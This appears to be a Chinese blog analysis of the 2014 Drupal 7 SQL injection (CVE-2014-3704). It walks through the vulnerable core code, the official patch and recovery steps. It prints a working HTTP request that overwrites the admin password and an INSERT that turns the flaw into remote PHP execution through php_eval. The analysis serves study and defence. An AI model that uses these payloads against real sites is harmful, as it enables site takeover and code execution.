目錄
1 . 漏洞描述 2 . 漏洞觸發條件 3 . 漏洞影響范圍 4 . 漏洞代碼分析 5 . 防御方法 6 . 攻防思考
?
1. 漏洞描述
Use Drupal to build everything from personal blogs to enterprise applications. Thousands of add-on modules and designs let you build any site you can imagine. Join us!
Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成
Drupal誕生于2000年,是一個基于PHP語言編寫的開發型CMF(內容管理框架),即: CMS + Framework
1 . Framework 它由2部分組成 1 ) Drupal內核中的功能強大的PHP類庫和PHP函數庫 2 ) 在此基礎上抽象的Drupal API 2 . CMS HTML +JAVASCRIPT+CSS
Drupal的架構由三大部分組成
1 . 內核 2 . 模塊 3 . 主題
三者通過Hook機制緊密的聯系起來。其中,內核部分由世界上多位著名的WEB開發專家組成的團隊負責開發和維護,drupal的這種面向對象的集中實現化的機制為開發者開來了極大的編程體驗的提升,但同時也引入了一個風險,一旦這種底層的、內核的實現路由上的某個節點出了漏洞,權限漏洞、或者例如sql注入的邊界檢查缺失,則造成的影響將是全系統的破壞
這次的Drupal發生的高危SQL注入漏洞就是源于這個原因,因為發生漏洞的位置處于Drupal的內核區域,雖然是WEB應用,但是我們可以理解為處于一個高權限的代碼區域,在這個邏輯層面發生的SQL注入可以導致很高權限的代碼執行
A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.
Relevant Link:
https: // www.drupal.org/PSA-2014-003 https: // www.drupal.org/SA-CORE-2014-005 http: // www.oschina.net/news/56637/drupal-security-hole https: // security.berkeley.edu/content/critical-drupal-7x-sql-injection-vulnerability-cve-2014-3704 http: // web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 http: // www.freebuf.com/vuls/47271.html
2. 漏洞觸發條件
POST /drupal- 7.31 /?q=node&destination=node HTTP/ 1.1 Host: 127.0 . 0.1 User -Agent: Mozilla/ 5.0 (X11; Ubuntu; Linux x86_64; rv: 28.0 ) Gecko/ 20100101 Firefox/ 28.0 Accept: text /html,application/xhtml+xml,application/xml;q= 0.9 ,* /* ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
3. 漏洞影響范圍
0x1: 受影響的版本
Drupal 7.x - 7.31
4. 漏洞代碼分析
0x1: 導致SQL注入的代碼分析
下載Drupal 7.31的源代碼進行分析,產生漏洞的源頭在"/includes/database/database.inc",從架構上來說,這是Drupal的"內核"
/* * * Expands out shorthand placeholders. * * Drupal supports an alternate syntax for doing arrays of values. We * therefore need to expand them out into a full, executable query string. * * @param $query * The query string to modify. * @param $args * The arguments for the query. * * @return * TRUE if the query was modified, FALSE otherwise. */ protected function expandArguments(&$query, & $args) { $modified = FALSE; // If the placeholder value to insert is an array, assume that we need // to expand it out into a comma-delimited set of placeholders. /* array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved. array_filter($args, 'is_array')起到過濾器的作用,從$args中剝離出"數組"的部分 */ foreach (array_filter($args, ' is_array ' ) as $key => $data) { $new_keys = array(); /* 這行代碼是導致漏洞的關鍵點: 1. 沒有對array的key、value進行"參數化純凈性驗證",導致黑客在key中注入了可執行代碼,對即將執行的sql語句進行了污染 2. 即沒有將輸入的值強制限定在程序預先設定的可接受的值范圍內 */ foreach ($data as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate // a duplicate key. We do not account for that as the calling code // is already broken if that happens. $new_keys[$key . ' _ ' . $i] = $value; } // Update the query with the new placeholders. // preg_replace is necessary to ensure the replacement does not affect // placeholders that start with the same exact text. For example, if the // query contains the placeholders :foo and :foobar, and :foo has an // array of values, using str_replace would affect both placeholders, // but using the following preg_replace would only affect :foo because // it is followed by a non-word character. $query = preg_replace( ' # ' . $key . ' \b# ' , implode( ' , ' , array_keys($new_keys)), $query); // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
從expandArguments函數中我們可以看到,代碼沒有對key、value同時采取"參數化純凈預處理",導致黑客在key中進行了代碼注入,而之后這個key又被帶入了sql語句的拼接中,這也正是drupla提供的一個DB PDO抽象函數,方便程序員使用array數組的方式進行sql查詢語句的拼接,但是問題就在于drupal在處理這個input array的時候沒有進行必要的處理
我們繼續回溯代碼,找到調用expandArguments()函數的代碼路徑
/includes/database/database.inc
.. public function query($query, array $args = array(), $options = array()) { // Use default values if not already set. $options += $ this -> defaultOptions(); try { // We allow either a pre-bound statement object or a literal string. // In either case, we want to end up with an executed statement object, // which we pass to PDOStatement::execute. if ($query instanceof DatabaseStatementInterface) { $stmt = $query; $stmt -> execute(NULL, $options); } else { $ this -> expandArguments($query, $args); $stmt = $ this -> prepareQuery($query); // 程序在這里將被污染后的sql語句直接帶入了數據庫執行邏輯,導致了sql注入 $stmt-> execute($args, $options); } ...
了解了代碼層面的原理之后,我們來看看實際的攻擊載荷
name[ 0 % 20 ;update+users+ set +name%3d ' owned ' +,+pass+%3d+ ' $S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld ' + where +uid+%3d+ ' 1 ' ;;#% 20 % 20 ]= test3 &name[ 0 ]= test &pass= shit2 &test2= test &form_build_id= &form_id= user_login_block &op=Log+ in
attack payload將管理員的密碼修改為一個預設的密碼,這個密碼可以自己本機生成
/includes/password.inc
這個文件中就是drupal對密碼加解密算法的一個實現,它是一個對稱加密模式,我們可以復用它的代碼實現一個密碼生成器
0x2: 基于這個SQL注入衍生出的callback漏洞分析
我們已經知道了Drupal的這個抽象PDO API存在SQL注入的漏洞,它可以直接導致的一個結果就是黑客可以通過這個漏洞進行"多語句SQL執行",進行進而向數據庫中添加任意的記錄(實際上是執行任意的SQL語句)
在多數情況下,單獨的一個漏洞也許并不能真正對WEB系統造成實際的攻擊,它們很多時候只是語言的一個"特性",例如php的callback回調執行機制,它是php的一個特性,單純就這點來看并不能稱之為一個漏洞,但是在這個CVE的場景下,當它和SQL注入結合在一起的時候,就會升級為一個RCE遠程代碼執行漏洞了
mixed call_user_func_array ( callable $callback , array $param_arr ) // Calls the callback given by the first parameter with the parameters in param_arr. http: // cn2.php.net/manual/en/function.call-user-func-array.php
利用漏洞挖掘的"敏感函數點調用源回溯"思想,我們對drupal的代碼進行一次審計,即搜索在哪些文件中調用了 call_user_func_array 這個函數
定位到/include/menu.inc這個文件中的menu_execute_active_handler()函數
function menu_execute_active_handler($path = NULL, $deliver = TRUE) { // Check if site is offline. $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; // Allow other modules to change the site status but not the path because that // would not change the global variable. hook_url_inbound_alter() can be used // to change the path. Code later will not use the $read_only_path variable. $read_only_path = !empty($path) ? $path : $_GET[ ' q ' ]; drupal_alter( ' menu_site_status ' , $page_callback_result, $read_only_path); // Only continue if the site status is not set. if ($page_callback_result == MENU_SITE_ONLINE) { if ($router_item = menu_get_item($path)) { if ($router_item[ ' access ' ]) { if ($router_item[ ' include_file ' ]) { require_once DRUPAL_ROOT . ' / ' . $router_item[ ' include_file ' ]; } /* 這里是漏洞利用的關鍵代碼,call_user_func_array接收了$router_item的兩個參數,如果我們可以控制這2個參數,就可以達到rce的效果 */ $page_callback_result = call_user_func_array($router_item[ ' page_callback ' ], $router_item[ ' page_arguments ' ]); } else { $page_callback_result = MENU_ACCESS_DENIED; } } else { $page_callback_result = MENU_NOT_FOUND; } } // Deliver the result of the page callback to the browser, or if requested, // return it raw, so calling code can do more processing. if ($deliver) { $default_delivery_callback = (isset($router_item) && $router_item) ? $router_item[ ' delivery_callback ' ] : NULL; drupal_deliver_page($page_callback_result, $default_delivery_callback); } else { return $page_callback_result; } }
注意到代碼中的?$page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
call_user_func_array接收了$router_item的兩個參數,如果我們可以控制這2個參數,就可以達到rce的效果,而$router_item是通過 $router_item = menu_get_item($path) 賦值的,那應該怎么做呢?
我們繼續溯源menu_get_item
/* * * Gets a router item. * * @param $path * The path; for example, 'node/5'. The function will find the corresponding * node/% item and return that. * @param $router_item * Internal use only. * * @return * The router item or, if an error occurs in _menu_translate(), FALSE. A * router item is an associative array corresponding to one row in the * menu_router table. The value corresponding to the key 'map' holds the * loaded objects. The value corresponding to the key 'access' is TRUE if the * current user can access this page. The values corresponding to the keys * 'title', 'page_arguments', 'access_arguments', and 'theme_arguments' will * be filled in based on the database values and the objects loaded. */ function menu_get_item($path = NULL, $router_item = NULL) { $router_items = & drupal_static(__FUNCTION__); /* 這里是代碼的關鍵,我們輸入的$_GET['q']控制了最終的$router_item */ if (! isset($path)) { $path = $_GET[ ' q ' ]; } if (isset($router_item)) { $router_items[$path] = $router_item; } if (! isset($router_items[$path])) { // Rebuild if we know it's needed, or if the menu masks are missing which // occurs rarely, likely due to a race condition of multiple rebuilds. if (variable_get( ' menu_rebuild_needed ' , FALSE) || !variable_get( ' menu_masks ' , array())) { menu_rebuild(); } $original_map = arg(NULL, $path); $parts = array_slice($original_map, 0 , MENU_MAX_PARTS); $ancestors = menu_get_ancestors($parts); /* 在menu_router里查詢我們輸入的$_GET['q'],然后返回所有字段 */ $router_item = db_query_range( ' SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC ' , 0 , 1 , array( ' :ancestors ' => $ancestors))-> fetchAssoc(); if ($router_item) { // Allow modules to alter the router item before it is translated and // checked for access. drupal_alter( ' menu_get_item ' , $router_item, $path, $original_map); $map = _menu_translate($router_item, $original_map); $router_item[ ' original_map ' ] = $original_map; if ($map === FALSE) { $router_items[$path] = FALSE; return FALSE; } if ($router_item[ ' access ' ]) { $router_item[ ' map ' ] = $map; $router_item[ ' page_arguments ' ] = array_merge(menu_unserialize($router_item[ ' page_arguments ' ], $map), array_slice($map, $router_item[ ' number_parts ' ])); $router_item[ ' theme_arguments ' ] = array_merge(menu_unserialize($router_item[ ' theme_arguments ' ], $map), array_slice($map, $router_item[ ' number_parts ' ])); } } $router_items[$path] = $router_item; } return $router_items[$path]; }
在這個函數中,我們看到幾個關鍵點
1 . 我們的輸入$_GET[ " q " ]可以控制$path,進而控制$router_item最終獲取的值 2 . 在 menu_router數據表 里查詢我們輸入的$_GET[ ' q ' ],然后從返回所有字段
繼續回到上層的調用函數menu_execute_active_handler()中
if ($router_item[ ' include_file ' ]) { require_once DRUPAL_ROOT . ' / ' . $router_item[ ' include_file ' ]; }
這里又根據剛才從數據庫中查出的$router_item["include_file"]進行文件引入,緊接著取出router_item中的page_callback,帶入call_user_func_array執行
分析至此,我們來梳理一下這個代碼漏洞的攻擊流程
1 . 程序根據用戶輸入的$_GET[ ' q ' ]作為條件在 " menu_router " 數據表中查找對應的記錄,并將所有的結果都返回回來
2 . 而通過drupal的SQL注入漏洞,我們可以向 " menu_router " 數據表中插入任意我們需要的記錄
3 . 在向 " menu_router " 數據表中插入數據的時候, " page_arguments " 這個字段一定要為null,這樣根據PHP的特性,$router_item[ ' page_arguments ' ]就等效于$router_item[ 0 ],即返回記錄中的第一個字段參數
4 . 最終的RCE執行點在menu_execute_active_handler的 call_user_func_array($router_item[ ' page_callback ' ], $router_item[ ' page_arguments ' ]); 中 也即 call_user_func_array($router_item[ ' page_callback ' ], $router_item[ 0 ]);
5 . 我們需要利用PHP的這個callback回調進行代碼執行,也即我們需要構造出這樣的代碼場景 call_user_func_array( " php_eval " , $router_item[ 0 ]);
6 . php_eval這個函數的實現在 " modules/php/php.module " 目錄中,我們需要將它引入進來
綜合以上分析,我們可以得出以下結論,我們需要在" menu_router "數據表中插入一條這樣的數據才能滿足攻擊條件
insert into menu_router (path, page_callback, access_callback, include_file) values ( ' <?php phpinfo();?> ' , ' php_eval ' , ' 1 ' , ' modules/php/php.module ' );
可以看到,path = $_GET['q'],$_GET['q']即我們需要執行的代碼,同時也是數據庫查詢的關鍵字索引
path 為要執行的代碼; include_file 為 PHP filter Module 的路徑; page_callback 為 php_eval; access_callback 為 1 (可以讓任意用戶訪問)。
訪問: http://localhost/drupal-7.32/?q=%3C?php%20phpinfo();?%3E
Relevant Link:
https: // www.drupal.org/project/drupal http: // php.net/manual/en/function.array-filter.php http: // cn2.php.net/manual/en/function.array-values.php http: // www.91ri.org/11074.html http: // www.freebuf.com/vuls/49148.html http: // www.beebeeto.com/pdb/poc-2014-0100/
5. 防御方法
0x1: 代碼修復
1 . 直接使用官方補丁進行修復: https: // www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch 2 、升級到 Drupal 7.32 https: // www.drupal.org/drupal-7.32-release-notes
code
diff --git a/includes/database/database.inc b/includes/database/ database.inc index f78098b..01b6385 100644 --- a/includes/database/ database.inc +++ b/includes/database/ database.inc @@ - 736 , 7 + 736 , 7 @@ abstract class DatabaseConnection extends PDO { // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, ' is_array ' ) as $key => $data) { $new_keys = array(); - foreach ($data as $i => $value) { /* array_values() returns all the values from the array and indexes the array numerically. array_values($data)將數組的值單獨剝離出來,組成一個數字索引的新數組 */ + foreach (array_values($data) as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate
整理后
protected function expandArguments(&$query, & $args) { $modified = FALSE; foreach (array_filter($args, ' is_array ' ) as $key => $data) { $new_keys = array(); foreach (array_values($data) as $i => $value) { $new_keys[$key . ' _ ' . $i] = $value; } $query = preg_replace( ' # ' . $key . ' \b# ' , implode( ' , ' , array_keys($new_keys)), $query); unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
代碼修復的核心思想就是對input array進行了key卸載,將輸入值強制限定在了原本程序預設的可接受的值范圍中
0x2: 臟數據回滾
對于這種漏洞,除了進行代碼級漏洞修復之外,還需要進行臟數據回滾,因為黑客可能利用這個漏洞對目標網站進行SQL注入攻擊,污染了數據庫,因此要通過backup roll back進行臟數據修復
1 . Take the website offline by replacing it with a static HTML page 2 . Notify the server’s administrator emphasizing that other sites or applications hosted on the same server might have been compromised via a backdoor installed by the initial attack 3 . Consider obtaining a new server, or otherwise remove all the website’s files and database from the server. (Keep a copy safe for later analysis.) 4 . Restore the website (Drupal files, uploaded files and database) from backups from before 15 October 2014 5 . Update or patch the restored Drupal core code 6 . Put the restored and patched/ updated website back online 7 . Manually redo any desired changes made to the website since the date of the restored backup Audit anything merged from the compromised website, such as custom code, configuration, files or other artifacts, to confirm they are correct and have not been tampered with.
Relevant Link:
http: // help.aliyun.com/view/11108300_13852287.html
6. 攻防思考
針對這種注入漏洞已經衍生的callback RCE漏洞,最好的防御思路就是"參數化防御",由于PHP這種動態語言本身的特性,導致在代碼運行中,本來期望的是整型,結果卻被注入了字符并正常執行。安全審計人員應該在一些敏感的函數點執行前對相關的數組、變量進行"強制參數化防御",即將輸入的值強制限定在一個可接受的值、可接受的變量類型。這也可以從根本上防御一類變量初始化導致的代碼漏洞
?
Copyright (c) 2014 LittleHann All rights reserved
?
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
